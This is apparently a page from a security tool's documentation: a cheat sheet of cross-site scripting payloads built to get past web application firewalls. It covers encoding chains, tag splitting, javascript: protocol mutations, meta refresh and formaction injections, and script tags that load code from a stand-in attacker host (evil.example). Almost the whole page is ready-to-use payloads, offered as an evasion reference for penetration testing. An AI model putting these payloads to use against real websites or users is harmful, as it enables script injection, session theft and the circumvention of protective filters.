Skip to content
← Cheat Sheets

WAF Bypass Cheat Sheet

WAF Bypass Cheat Sheet

Recon workflow

  1. Send canary payloads: <, >, ', ", (, ), alert, script
  2. Note what is stripped, encoded, or blocked
  3. Add blocked tokens to the filter profile
  4. Check WAF fingerprint hints (Cloudflare, ModSecurity, Akamai, AWS, Imperva)

Encoding chains

  • URL → double URL → HTML entities
  • Mixed per-character encoding
  • Unicode / hex escapes inside attributes
  • Base64 in eval(atob(...)) DOM flows

Parser / syntax tricks

  • Tag splitting: <scr<script>ipt>
  • Non-alpha separators: <img/xss src=x onerror=alert(1)> — use non-alpha-tag mutation
  • Multiline attributes: <img\nsrc=x\nonerror=alert(1)>
  • javascript: with HTML entities in href: j&#x61;vascript:alert(1)
  • SVG foreignObject, animate, set (vendor-specific)
  • Extraneous bracket: <<SCRIPT>alert(1);//\<</SCRIPT>
  • Script src without closing bracket: <SCRIPT SRC=https://evil.example/?<B>

javascript: protocol mutations

When WAFs block the literal string javascript::

MutationResult
js-ctrl-charsjav&#x09;ascript: (tab entity mid-word)
comment-split-protocoljavas<!---->cript:
HTML entity in hrefj&#x61;vascript:alert(1)
Case variationJaVaScRiPt:

META refresh injection

<meta> tags are often overlooked by pattern-matching WAFs:

<!-- Basic javascript: URL -->
<meta http-equiv="refresh" content="0;url=javascript:alert(1)" />

<!-- Base64 payload (avoids keyword scanning) -->
<meta
  http-equiv="refresh"
  content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
/>

<!-- Parser confusion via double URL param -->
<meta http-equiv="refresh" content="0; URL=http://;URL=javascript:alert(1)" />

formaction attribute bypass

formaction on <button> and <input type=submit> bypasses WAFs that only block href / action:

<form><button formaction="javascript:alert(1)">click</button></form>
<form>
  <input formaction="javascript:alert(1)" type="submit" value="click" />
</form>

Script tag quote / parser tricks

<!-- Attribute quote confusion -->
<script a=">" src="https://evil.example/x.js"></script>

<!-- Non-alpha separator -->
<SCRIPT/XSS SRC="https://evil.example/x.js"></SCRIPT>

<!-- Protocol-relative URL -->
<SCRIPT SRC=//evil.example/.j>

Mutation ideas

  • Case variation: JaVaScRiPt:
  • Comment insertion inside tags
  • Null-byte (legacy parsers)
  • Keyword split: al\u0065rt / string concat
  • Built-in mutations: js-ctrl-chars, comment-split-protocol, non-alpha-tag

Run the fuzzer after setting a filter profile to rank variants.